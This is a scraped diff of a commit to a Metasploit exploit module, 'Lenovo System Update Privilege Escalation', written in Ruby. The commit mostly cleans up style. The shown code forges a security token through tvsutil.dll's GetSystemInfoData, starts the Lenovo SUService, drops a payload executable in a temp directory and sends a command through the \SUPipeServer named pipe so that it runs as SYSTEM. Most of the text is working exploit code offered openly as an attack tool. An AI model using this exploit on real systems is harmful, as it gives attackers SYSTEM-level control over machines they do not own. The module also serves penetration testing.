4
4
##
5
5
6
6
class Metasploit3 < Msf ::Exploit ::Local
7
- Rank = ExcellentRanking
8
-
9
7
include Msf ::Exploit ::EXE
10
8
include Msf ::Post ::File
11
9
include Msf ::Exploit ::FileDropper
12
10
include Msf ::Post ::Windows ::Priv
13
11
include Msf ::Post ::Windows ::Services
14
12
13
+ Rank = ExcellentRanking
14
+
15
15
def initialize ( info = { } )
16
16
super ( update_info ( info , {
17
17
'Name' => 'Lenovo System Update Privilege Escalation' ,
18
18
'Description' => %q{
19
- The named pipe, \SUPipeServer, can be accessed by normal users to interact
20
- with the System update service. The service provides the possibility to execute
21
- arbitrary commands as SYSTEM if a valid security token is provided. This token can
22
- be generated by calling the GetSystemInfoData function in the DLL tvsutil.dll
23
-
24
- Please note that the System Update is stopped by default but can be started/stopped calling
25
- the Executable ConfigService.exe
19
+ The named pipe, \SUPipeServer, can be accessed by normal users to interact with the
20
+ System update service. The service provides the possibility to execute arbitrary
21
+ commands as SYSTEM if a valid security token is provided. This token can be generated
22
+ by calling the GetSystemInfoData function in the DLL tvsutil.dll. Please, note that the
23
+ System Update is stopped by default but can be started/stopped calling the Executable
24
+ ConfigService.exe.
26
25
} ,
27
26
'License' => MSF_LICENSE ,
28
27
'Author' =>
29
28
[
30
- 'Micahel Milvich' , # vulnerability discovery, advisory
31
- 'Sofiane Talmat' , # vulnerability discovery, advisory
32
- 'h0ng10' # Metasploit module
29
+ 'Micahel Milvich' , # vulnerability discovery, advisory
30
+ 'Sofiane Talmat' , # vulnerability discovery, advisory
31
+ 'h0ng10' # Metasploit module
33
32
] ,
34
33
'Arch' => ARCH_X86 ,
35
34
'Platform' => 'win' ,
@@ -118,13 +117,14 @@ def write_named_pipe(pipe, command)
118
117
119
118
120
119
def get_security_token ( lenovo_directory )
121
- if not client . railgun . get_dll ( 'tvsutil' ) then
120
+ unless client . railgun . get_dll ( 'tvsutil' )
122
121
client . railgun . add_dll ( 'tvsutil' , "#{ lenovo_directory } \\ tvsutil.dll" )
123
- client . railgun . add_function ( " tvsutil" , " GetSystemInfoData" , " DWORD" , [ [ " PWCHAR" , " systeminfo" , " out" ] ] , windows_name = nil , calling_conv = " cdecl" )
122
+ client . railgun . add_function ( ' tvsutil' , ' GetSystemInfoData' , ' DWORD' , [ [ ' PWCHAR' , ' systeminfo' , ' out' ] ] , windows_name = nil , calling_conv = ' cdecl' )
124
123
end
125
124
126
125
dll_response = client . railgun . tvsutil . GetSystemInfoData ( 256 )
127
- return dll_response [ 'systeminfo' ] [ 0 , 40 ]
126
+
127
+ dll_response [ 'systeminfo' ] [ 0 , 40 ]
128
128
end
129
129
130
130
@@ -139,23 +139,23 @@ def exploit
139
139
end
140
140
141
141
su_directory = service_info ( 'SUService' ) [ :path ] [ 1 ..-16 ]
142
- print_status ( "Starting service via ConfigService.exe" )
143
- config_service ( su_directory , "start" )
144
- print_status ( "Giving the service some time to start..." )
145
- sleep ( datastore [ 'sleep' ] )
142
+ print_status ( 'Starting service via ConfigService.exe' )
143
+ config_service ( su_directory , 'start' )
144
+
145
+ print_status ( 'Giving the service some time to start...' )
146
+ Rex . sleep ( datastore [ 'Sleep' ] )
146
147
147
148
print_status ( "Getting security token..." )
148
149
token = get_security_token ( su_directory )
149
150
vprint_good ( "Security token is: #{ token } " )
150
151
151
-
152
- if datastore [ 'WritableDir' ] and not datastore [ 'WritableDir' ] . empty?
153
- temp_dir = datastore [ 'WritableDir' ]
154
- else
152
+ if datastore [ 'WritableDir' ] . nil? || datastore [ 'WritableDir' ] . empty?
155
153
temp_dir = get_env ( 'TEMP' )
154
+ else
155
+ temp_dir = datastore [ 'WritableDir' ]
156
156
end
157
157
158
- print_status ( "Using #{ temp_dir } to drop malicious exe " )
158
+ print_status ( "Using #{ temp_dir } to drop the payload " )
159
159
160
160
begin
161
161
cd ( temp_dir )
@@ -186,8 +186,8 @@ def exploit
186
186
fail_with ( Failure ::Unknown , 'Failed to write to pipe' )
187
187
end
188
188
189
- print_status ( " Stopping service via ConfigService.exe" )
190
- config_service ( su_directory , " stop" )
189
+ print_status ( ' Stopping service via ConfigService.exe' )
190
+ config_service ( su_directory , ' stop' )
191
191
end
192
192
193
193
end
0 commit comments